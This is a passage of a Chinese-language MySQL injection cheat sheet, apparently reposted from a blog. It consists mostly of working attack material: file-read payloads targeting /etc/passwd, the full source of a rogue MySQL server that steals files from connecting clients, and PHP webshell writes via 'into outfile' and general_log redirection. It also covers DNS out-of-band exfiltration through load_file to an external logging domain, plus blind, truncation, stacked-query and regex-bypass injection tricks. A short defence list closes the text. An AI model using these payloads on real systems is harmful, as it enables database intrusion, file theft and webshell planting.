select load_file(file_path);
第二種讀檔案的方法:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #讀取服務端檔案
第三種:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #讀取客戶端檔案
限制:
- 前兩種需要
secure-file-priv無值或為有利目錄, - 都需要知道要讀取的檔案所在的絕對路徑,
- 要讀取的檔案大小必須小于
max_allowed_packet所設定的值
低權限讀取檔案
5.5.53secure-file-priv=NULL讀檔案payload,mysql8測驗失敗,其他版本自測,
drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;
Mysql連接資料庫時可讀取檔案
這個漏洞是mysql的一個特性產生的,是上述的第三種讀檔案的方法為基礎的,
簡單描述該漏洞:Mysql客戶端在執行load data local陳述句的時,先想mysql服務端發送請求,服務端接收到請求,并回傳需要讀取的檔案地址,客戶端接收該地址并進行讀取,接著將讀取到的內容發送給服務端,用通俗的語言可以描述如下:
原本的查詢流程為
客戶端:我要把我的win.ini檔案內容插入test表中 服務端:好,我要你的win.ini檔案內容 客戶端:win.ini的內容如下....假設服務端由我們控制,把一個正常的流程篡改成如下
客戶端:我要把我的win.ini檔案內容插入test表中 服務端:好,我要你的conn.php內容 客戶端:conn.php的內容如下???例子部分修改自:CSS-T | Mysql Client 任意檔案讀取攻擊鏈拓展
換句話說:load data local陳述句要讀取的檔案會受到服務端的控制,
其次,在Mysql官方檔案對于load data local陳述句的安全說明中有這么一句話:
A patched server could in fact reply with a file-transfer request to any statement, not just
LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.
意思是:服務器對客戶端的檔案讀取請求實際上是可以回傳給客戶端發送給服務端的任意陳述句請求的,不僅僅只是load data local陳述句,
這就會產生什么結果呢?之前講的例子,將可以變成:
客戶端:我需要查詢test表下的xx內容
服務端:我需要你的conn.php內容
客戶端:conn.php的內容如下???
可以看到,客戶端相當于被攻擊者給半劫持了,
利用上述的特性,我們通過構造一個惡意的服務端,即可完成上述的程序,
簡易惡意服務端代碼:
#代碼摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0',
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = https://www.cnblogs.com/yunen/p/str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = https://www.cnblogs.com/yunen/p/"".join(self.ibuffer)
self.ibuffer = []
if self.state =='LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()
需要注意的是:這個程序需要客戶端允許使用load data local才行,不過這個資訊在客戶端嘗試連接到服務端的資料包中可以找到,

寫
說完了讀檔案,那我們來說說mysql的寫檔案操作,常見的寫檔案操作如下:
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
限制:
secure-file-priv無值或為可利用的目錄- 需知道目標目錄的絕對目錄地址
- 目標目錄可寫,mysql的權限足夠,
日志法
由于mysql在5.5.53版本之后,secure-file-priv的值默認為NULL,這使得正常讀取檔案的操作基本不可行,我們這里可以利用mysql生成日志檔案的方法來繞過,
mysql日志檔案的一些相關設定可以直接通過命令來進行:
//請求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查詢日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//還有其他很多日志都可以進行利用
...
之后我們在讓資料庫執行滿足記錄條件的惡意陳述句即可,
限制:
- 權限夠,可以進行日志的設定操作
- 知道目標目錄的絕對路徑
DNSLOG帶出資料
什么是DNSLOG?簡單的說,就是關于特定網站的DNS查詢的一份記錄表,若A用戶對B網站進行訪問/請求等操作,首先會去查詢B網站的DNS記錄,由于B網站是被我們控制的,便可以通過某些方法記錄下A用戶對于B網站的DNS記錄資訊,此方法也稱為OOB注入,
如何用DNSLOG帶出資料?若我們想要查詢的資料為:aabbcc,那么我們讓mysql服務端去請求aabbcc.evil.com,通過記錄evil.com的DNS記錄,就可以得到資料:aabbcc,
引自:Dnslog在SQL注入中的實戰
payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))
應用場景:
- 三大注入無法使用
- 有檔案讀取權限及
secure-file-priv無值, - 不知道網站/目標檔案/目標目錄的絕對路徑
- 目標系統為Windows
推薦平臺:ceye.io
為什么Windows可用,Linux不行?這里涉及到一個叫UNC的知識點,簡單的說,在Windows中,路徑以\\開頭的路徑在Windows中被定義為UNC路徑,相當于網路硬碟一樣的存在,所以我們填寫域名的話,Windows會先進行DNS查詢,但是對于Linux來說,并沒有這一標準,所以DNSLOG在Linux環境不適用,注:payload里的四個\\\\中的兩個\是用來進行轉義處理的,
二次注入
什么是二次注入?簡單的說,就是攻擊者構造的惡意payload首先會被服務器存盤在資料庫中,在之后取出資料庫在進行SQL陳述句拼接時產生的SQL注入問題,
舉個例子,某個查詢當先登錄的用戶資訊的SQL陳述句如下:
select * from users where username='$_SESSION['username']'
登錄/注冊處的SQL陳述句都經過了addslashes函式、單引號閉合的處理,且無編碼產生的問題,
對于上述舉的陳述句我們可以先注冊一個名為admin' #的用戶名,因為在注冊進行了單引號的轉義,故我們并不能直接進行insert注入,最終將我們的用戶名存盤在了服務器中,注意:反斜杠轉義掉了單引號,在mysql中得到的資料并沒有反斜杠的存在,
在我們進行登錄操作的時候,我們用注冊的admin' #登錄系統,并將用戶部分資料存盤在對于的SESSION中,如$_SESSION['username'],
上述的$_SESSION['username']并沒有經過處理,直接拼接到了SQL陳述句之中,就會造成SQL注入,最終的陳述句為:
select * from users where username='admin' #'
order by比較盲注
這種方法運用的情況比較極端一些,如布爾盲注時,字符截取/比較限制很嚴格,例子:
select * from users where (select 'r' union select user() order by 1 limit 1)='r'
如果能一眼看出原理的話就不需要繼續看下去了,
實際上此處是利用了order by陳述句的排序功能來進行判斷的,若我們想要查詢的資料開頭的首字母在字母表的位值比我們判斷的值要靠后,則limit陳述句將不會讓其輸出,那么整個條件將會成立,否之不成立,
利用這種方法可以做到不需要使用like、rlike、regexp等匹配陳述句以及字符操作函式,
再舉個例子:
select username,flag,password from users where username='$username;'
頁面回顯的欄位為:username與password,如何在union與flag兩單詞被攔截、無報錯資訊回傳的情況下獲取到用戶名為admin的flag值?
我們前邊講到了無列名注入,通過使用union陳述句來對未知列名進行重命名的形式繞過,還講過通過使用join using()報錯注入出列名,但現在,這兩種方法都不可以的情況下該如何獲取到flag欄位的內容?
使用order by可輕松盲注出答案,payload:
select username,flag,password from users where username='admin' union select 1,'a',3 order by 2
與之前的原理相同,通過判斷前后兩個select陳述句回傳的資料前后順序來進行盲注,
常見函式/符號歸類
注釋符
| 單行注釋 | 單行注釋 | 單行注釋 | 多行(行內)注釋 |
|---|---|---|---|
# |
-- x //x為任意字符 |
;%00 |
/*任意內容*/ |
常用運算子
| 運算子 | 說明 | 運算子 | 說明 |
|---|---|---|---|
| && | 與,同and, | || | 或,同or, |
| ! | 非,同not, | ~ | 一元位元反轉, |
| ^ | 異或,同xor, | + | 加,可替代空格,如select+user(), |
系統資訊函式
| 函式 | 說明 |
|---|---|
| USER() | 獲取當前操作句柄的用戶名,同SESSION_USER()、CURRENT_USER(),有時也用SYSTEM_USER(), |
| DATABASE() | 獲取當前選擇的資料庫名,同SCHEMA(), |
| VERSION() | 獲取當前版本資訊, |
進制轉換
| 函式 | 說明 |
|---|---|
| ORD(str) | 回傳字串第一個字符的ASCII值, |
| OCT(N) | 以字串形式回傳 N 的八進制數,N 是一個BIGINT 型數值,作用相當于CONV(N,10,8), |
| HEX(N_S) | 引數為字串時,回傳 N_or_S 的16進制字串形式,為數字時,回傳其16進制數形式, |
| UNHEX(str) | HEX(str) 的逆向函式,將引數中的每一對16進制數字都轉換為10進制數字,然后再轉換成 ASCII 碼所對應的字符, |
| BIN(N) | 回傳十進制數值 N 的二進制數值的字串表現形式, |
| ASCII(str) | 同ORD(string), |
| CONV(N,from_base,to_base) | 將數值型引數 N 由初始進制 from_base 轉換為目標進制 to_base 的形式并回傳, |
| CHAR(N,... [USING charset_name]) | 將每一個引數 N 都解釋為整數,回傳由這些整數在 ASCII 碼中所對應字符所組成的字串, |
字符截取/拼接
| 函式 | 說明 |
|---|---|
| SUBSTR(str,N_start,N_length) | 對指定字串進行截取,為SUBSTRING的簡單版, |
| SUBSTRING() | 多種格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len), |
| RIGHT(str,len) | 對指定字串從最右邊截取指定長度, |
| LEFT(str,len) | 對指定字串從最左邊截取指定長度, |
| RPAD(str,len,padstr) | 在 str 右方補齊 len 位的字串 padstr,回傳新字串,如果 str 長度大于 len,則回傳值的長度將縮減到 len 所指定的長度, |
| LPAD(str,len,padstr) | 與RPAD相似,在str左邊補齊, |
| MID(str,pos,len) | 同于 SUBSTRING(str,pos,len), |
| INSERT(str,pos,len,newstr) | 在原始字串 str 中,將自左數第 pos 位開始,長度為 len 個字符的字串替換為新字串 newstr,然后回傳經過替換后的字串,INSERT(str,len,1,0x0)可當做截取函式, |
| CONCAT(str1,str2...) | 函式用于將多個字串合并為一個字串 |
| GROUP_CONCAT(...) | 回傳一個字串結果,該結果由分組中的值連接組合而成, |
| MAKE_SET(bits,str1,str2,...) | 根據引數1,回傳所輸入其他的引數值,可用作布爾盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')), |
常見全域變數
| 變數 | 說明 | 變數 | 說明 |
|---|---|---|---|
| @@VERSION | 回傳版本資訊 | @@HOSTNAME | 回傳安裝的計算機名稱 |
| @@GLOBAL.VERSION | 同@@VERSION |
@@BASEDIR | 回傳MYSQL絕對路徑 |
PS:查看全部全域變數SHOW GLOBAL VARIABLES;,
其他常用函式/陳述句
| 函式/陳述句 | 說明 |
|---|---|
| LENGTH(str) | 回傳字串的長度, |
| PI() | 回傳π的具體數值, |
| REGEXP "statement" | 正則匹配資料,回傳值為布林值, |
| LIKE "statement" | 匹配資料,%代表任意內容,回傳值為布林值, |
| RLIKE "statement" | 與regexp相同, |
| LOCATE(substr,str,[pos]) | 回傳子字串第一次出現的位置, |
| POSITION(substr IN str) | 等同于 LOCATE(), |
| LOWER(str) | 將字串的大寫字母全部轉成小寫,同:LCASE(str), |
| UPPER(str) | 將字串的小寫字母全部轉成大寫,同:UCASE(str), |
| ELT(N,str1,str2,str3,...) | 與MAKE_SET(bit,str1,str2...)類似,根據N回傳引數值, |
| NULLIF(expr1,expr2) | 若expr1與expr2相同,則回傳expr1,否則回傳NULL, |
| CHARSET(str) | 回傳字串使用的字符集, |
| DECODE(crypt_str,pass_str) | 使用 pass_str 作為密碼,解密加密字串 crypt_str,加密函式:ENCODE(str,pass_str), |
約束攻擊
什么是約束攻擊?
仍然是先舉個例子:
我們先通過下列陳述句建立一個用戶表
CREATE TABLE users(
username varchar(20),
password varchar(20)
)
注冊代碼:
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('賬號已注冊');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注冊成功');
}
?>
登錄判斷代碼:
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>
在無編碼問題,且進行了單引號的處理情況下仍可能發生什么SQL注入問題呢?
我們注意到,前邊創建表格的陳述句限制了username和password的長度最大為25,若我們插入資料超過25,MYSQL會怎樣處理呢?答案是MYSQL會截取前邊的25個字符進行插入,
而對于SELECT查詢請求,若查詢的資料超過25長度,也不會進行截取操作,這就產生了一個問題,
通常對于注冊處的代碼來說,需要先判斷注冊的用戶名是否存在,再進行插入資料操作,如我們注冊一個username=admin[25個空格]x&password=123456的賬號,服務器會先查詢admin[25個空格]x的用戶是否存在,若存在,則不能注冊,若不存在,則進行插入資料的操作,而此處我們限制了username與password欄位長度最大為25,所以我們實際插入的資料為username=admin[20個空格]&password=123456,
接著進行登錄的時,我們使用:username=admin&password=123456進行登錄,即可成功登錄admin的賬號,
防御:
- 給username欄位添加unique屬性,
- 使用id欄位作為判斷用戶的憑證,
- 插入資料前判斷資料長度,
堆疊注入
簡單的說,由于分號;為MYSQL陳述句的結束符,若在支持多陳述句執行的情況下,可利用此方法執行其他惡意陳述句,如RENAME、DROP等,
注意,通常多陳述句執行時,若前條陳述句已回傳資料,則之后的陳述句回傳的資料通常無法回傳前端頁面,建議使用union聯合注入,若無法使用聯合注入, 可考慮使用RENAME關鍵字,將想要的資料列名/表名更改成回傳資料的SQL陳述句所定義的表/列名 ,具體參考:2019強網杯——隨便注Writeup
PHP中堆疊注入的支持情況:
| Mysqli | PDO | MySQL | |
|---|---|---|---|
| 引入的PHP版本 | 5.0 | 5.0 | 3.0之前 |
| PHP5.x是否包含 | 是 | 是 | 是 |
| 多陳述句執行支持情況 | 是 | 大多數 | 否 |
引自:PDO場景下的SQL注入探究
handler陳述句代替select查詢
mysql除可使用select查詢表中的資料,也可使用handler陳述句,這條陳述句使我們能夠一行一行的瀏覽一個表中的資料,不過handler陳述句并不具備select陳述句的所有功能,它是mysql專用的陳述句,并沒有包含到SQL標準中,
語法結構:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通過handler陳述句查詢users表的內容
handler users open as yunensec; #指定資料表進行載入并將回傳句柄重命名
handler yunensec read first; #讀取指定表/句柄的首行資料
handler yunensec read next; #讀取指定表/句柄的下一行資料
handler yunensec read next; #讀取指定表/句柄的下一行資料
...
handler yunensec close; #關閉句柄
一些小Trick
這里跟大家分享一些有意思的Trick,主要在一些CTF題出現,這里也把它記下來,方便復習,
PHP/union.+?select/ig繞過,
在某些題目中,題目禁止union與select同時出現時,會用此正則來判斷輸入資料,
-
利用點:PHP正則回溯BUG
-
具體分析文章:PHP利用PCRE回溯次數限制繞過某些安全限制
PHP為了防止正則運算式的拒絕服務攻擊(reDOS),給pcre設定了一個回溯次數上限
pcre.backtrack_limit,若我們輸入的資料使得PHP進行回溯且此數超過了規定的回溯上限此數(默認為 100萬),那么正則停止,回傳未匹配到資料,
故而我們構造payload:union/*100萬個a,充當垃圾資料*/select即可繞過正則判斷,
一道相關的CTF題:TetCTF-2020 WP BY MrR3boot
無列名盲注
前邊提到了,在知道表名,不知道列名的情況下,我們可以利用union來給未知列名“重命名”,還可以利用報錯函式來注入出列名,現在,除了之前的order by盲注之外,這里再提一種新的方法,直接通過select進行盲注,
核心payload:(select 'admin','admin')>(select * from users limit 1)
子查詢之間也可以直接通過>、<、=來進行判斷,
UPDATE注入重復欄位賦值
即:UPDATA table_name set field1=new_value,field1=new_value2 [where] ,最終field1欄位的內容為new_value2,可用這個特性來進行UPDATA注入,如:
UPDATE table_name set field1=new_value,field1=(select user()) [where]
LIMIT之后的欄位數判斷
我們都知道若注入點在where子陳述句之后,判斷欄位數可以用order by或group by來進行判斷,而limit后可以利用 into @,@ 判斷欄位數,其中@為mysql臨時變數,

sys系統庫
#查詢所有的庫: SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema; SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema; #查詢指定庫的表(若無則說明此表從未被訪問): SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name; SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name; #統計所有訪問過的表次數:庫名,表名,訪問次數 select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc; #查看所有正在連接的用戶詳細資訊:連接的用戶(連接的用戶名,連接的ip),當前庫,用戶狀態(Sleep就是空閑),現在在執行的sql陳述句,上一次執行的sql陳述句,已經建立連接的時間(秒) SELECT user,db,command,current_statement,last_statement,time FROM sys.session; #查看所有曾連接資料庫的IP,總連接次數 SELECT host,total_connections FROM sys.host_summary;節選自:Mysql的奇淫技巧(黑科技)
| 視圖->列名 | 說明 |
|---|---|
| host_summary -> host、total_connections | 歷史連接IP、對應IP的連接次數 |
| innodb_buffer_stats_by_schema -> object_schema | 庫名 |
| innodb_buffer_stats_by_table -> object_schema、object_name | 庫名、表名(可指定) |
| io_global_by_file_by_bytes -> file | 路徑中包含庫名 |
| io_global_by_file_by_latency -> file | 路徑中包含庫名 |
| processlist -> current_statement、last_statement | 當前資料庫正在執行的陳述句、該句柄執行的上一條陳述句 |
| schema_auto_increment_columns -> table_schema、table_name、column_name | 庫名、表名、列名 |
| schema_index_statistics -> table_schema、table_name | 庫名、表名 |
| schema_object_overview -> db | 庫名 |
| schema_table_statistics -> table_schema、table_name | 庫名、表名 |
| schema_table_statistics_with_buffer -> table_schema、table_name | 庫名、表名 |
| schema_tables_with_full_table_scans -> object_schema、object_name | 庫名、表名(全面掃描訪問) |
| session -> current_statement、last_statement | 當前資料庫正在執行的陳述句、該句柄執行的上一條陳述句 |
| statement_analysis -> query、db | 資料庫最近執行的請求、對于請求訪問的資料庫名 |
| statements_with_* -> query、db | 資料庫最近執行的特殊情況的請求、對應請求的資料庫 |
| version -> mysql_version | mysql版本資訊 |
| x$innodb_buffer_stats_by_schema | 同innodb_buffer_stats_by_schema |
| x$innodb_buffer_stats_by_table | 同innodb_buffer_stats_by_table |
| x$io_global_by_file_by_bytes | 同io_global_by_file_by_bytes |
| ...... | 同...... |
| x$schema_flattened_keys -> table_schema、table_name、index_columns | 庫名、表名、主鍵名 |
| x$ps_schema_table_statistics_io -> table_schema、table_name、count_read | 庫名、表名、讀取該表的次數 |
差點忘了,還有mysql資料庫也可以查詢表名、庫名,
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();
Mysql注入防御
- 單引號閉合可控變數,并進行相應的轉義處理
- 盡量使用預編譯來執行SQL陳述句
- 采用白名單機制/完善黑名單
- 安裝WAF防護軟體
- 拒絕不安全的編碼轉換,盡量統一編碼
- 關閉錯誤提示
結語
可能記得東西有點多導致很多內容都是精簡過后的知識,其實本文可以當做字典一樣來使用,可能講得不是很細致,但是卻方便我們進行復習,回想起腦海中的知識,文章花費了大量的筆墨在記錄許多與Mysql注入相關的Trick,故而可能會顯得比較雜亂,沒有得到一個比較好的整理,可能對于不太了解Mysql注入的同學不太友好,望諒解,
參考
- 【PHP代碼審計】入門之路——第二篇-寬位元組注入
- MySQL注入技巧
- Mysql 注入基礎小結
- Mysql的奇淫技巧(黑科技)
- Read MySQL Client's File
- Dnslog在SQL注入中的實戰
- 從安全角度深入理解MySQL編碼轉換機制
- mysql sys Schema Object Index
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/45199.html
標籤:其他





